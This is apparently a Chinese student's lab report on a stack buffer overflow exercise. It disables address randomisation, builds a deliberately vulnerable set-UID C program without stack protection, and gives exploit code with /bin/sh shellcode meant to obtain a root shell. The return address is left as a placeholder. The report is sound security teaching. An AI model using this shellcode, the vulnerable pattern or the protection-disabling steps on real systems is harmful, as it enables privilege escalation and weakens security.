缓冲区溢出漏洞实验

实验准备

因为实验环境需要32位的Linux系统，所以下载安装一些用于编译 32 位 C 程序的软件包，安装代码如下:

$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

实验步骤

初始设置

1.使用命令$ sudo sysctl -w kernel.randomize_va_space=0来关闭地址空间随机化。
2.用另一个 shell 程序（zsh）代替 /bin/bash，代码如下：

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

如下图：

3.输入命令linux32进入32位linux环境输入，/bin/bash使用bash.

shellcode

1.缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode.如下代码：

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

漏洞程序

1.在 /tmp 目录下新建一个 stack.c 文件,如下：

$ cd /tmp
$ vi stack.c

2.输入如下代码：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

3.通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：

$ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用–fno-stack-protector关闭这种机制。而 -z execstack用于允许执行栈。

攻击程序

1.我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

2.在我们要得到 shellcode 在内存中的地址,把shellcode的地址填充到\x??\x??\x??\x??中，命令：$ gdb stack,$ disass main,得到如图所示：

然后接着调试，得出str首地址

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攻击

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

实验感悟

本次实验成功的关键是猜测内存地址，所以首先要关闭这部分功能。缓冲区溢出会造成程序崩溃，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码，即可以使用这段代码进行缓冲溢出攻击。实验中学会了使用gdb 调试指令 disass main来获取str首地址，这是以前所从未了解到的。

20165235 缓冲区溢出漏洞实验